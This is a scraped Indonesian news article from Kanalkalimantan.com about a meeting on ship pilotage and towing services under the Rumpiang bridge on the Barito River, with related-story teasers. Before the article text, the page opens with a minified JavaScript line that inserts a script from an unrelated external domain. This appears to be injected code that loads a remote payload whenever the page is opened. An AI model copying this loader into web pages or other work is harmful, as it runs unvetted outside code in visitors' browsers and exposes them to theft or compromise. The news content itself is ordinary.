(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Dalam rapat koordinasi yang digagas Badan Usaha Pelabuhan (BUP) PT. Pelabuhan Barito Kuala Mandiri (PT.PBKM), Penjabat (Pj) Bupati Barito Kuala (Batola) Mujiyat, S. Sn, M. Pd, bersama Kepala KSOP Kelas I Banjarmasin, Agustinus Maun, membahas pelayanan pemanduan dan penundaan kapal di alur Sungai Barito. Rapat tersebut berlangsung di Hotel Rodhita Banjarmasin pada Rabu (15/3/2023).
Dalam rapat tersebut, Agustinus menyosialisasikan peraturan Menteri Perhubungan terkait pemanduan dan penundaan kapal. Hadir dalam rapat tersebut juga Sekretaris Daerah Batola Ir. H. Zulkipli Yadi Noor, M. Sc, Kepala Dinas Perhubungan Nor Ipani, Kepala Bagian Pemerintahan Setda Batola Joko Sumitro, serta Direktur PT. PBKM Anggan, M. S.AB. Agustinus menjelaskan pentingnya adanya layanan pemanduan dan penundaan kapal sebagai upaya mengamankan lalu lintas perairan di bawah jembatan Rumpiang yang sering mengalami risiko kecelakaan.
Selain aspek keamanan, pelayanan tunda di bawah jembatan Rumpiang juga memiliki potensi untuk meningkatkan Pendapatan Asli Daerah (PAD). Agustinus memberikan contoh Kota Samarinda yang telah menerapkan pelayanan tunda bagi kapal yang melewati jembatan Mahakam dengan tarif layanan sebesar 15 juta per kapal. Hal ini menggambarkan potensi PAD yang dapat diperoleh jika ada 30 kapal melintas setiap harinya.
Baca juga: DPRD Batola Apresiasi Pemusnahan Barang Bukti di Kejaksaan Batola
Joko Sumitro, Kepala Bagian Pemerintahan Setda Batola, menjelaskan bahwa gagasan penyelenggaraan layanan pemanduan dan penundaan ini berasal dari Pj. Bupati Batola Mujiyat, S.Sn, M. Pd melalui PT. PBKM yang merupakan Badan Usaha Milik Daerah. Namun, implementasi layanan tersebut perlu mendapatkan persetujuan Indonesian National Shipowners’ Association (INSA) dan disahkan oleh Kementerian Perhubungan.
Joko juga menekankan bahwa selain potensi peningkatan PAD, layanan pemanduan dan penundaan kapal ini juga berpotensi menciptakan lapangan kerja baru. KSOP menetapkan persyaratan bagi PT. PBKM untuk menyediakan minimal 3 kapal tunda, baik milik sendiri maupun sewa. Pj Bupati Mujiyat menginstruksikan Dinas Perhubungan dan PT. PBKM untuk segera menyiapkan persyaratan yang diperlukan guna mendukung pelaksanaan layanan ini. (Kanalkalimantan.com/rdy)
Reporter: rdy
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.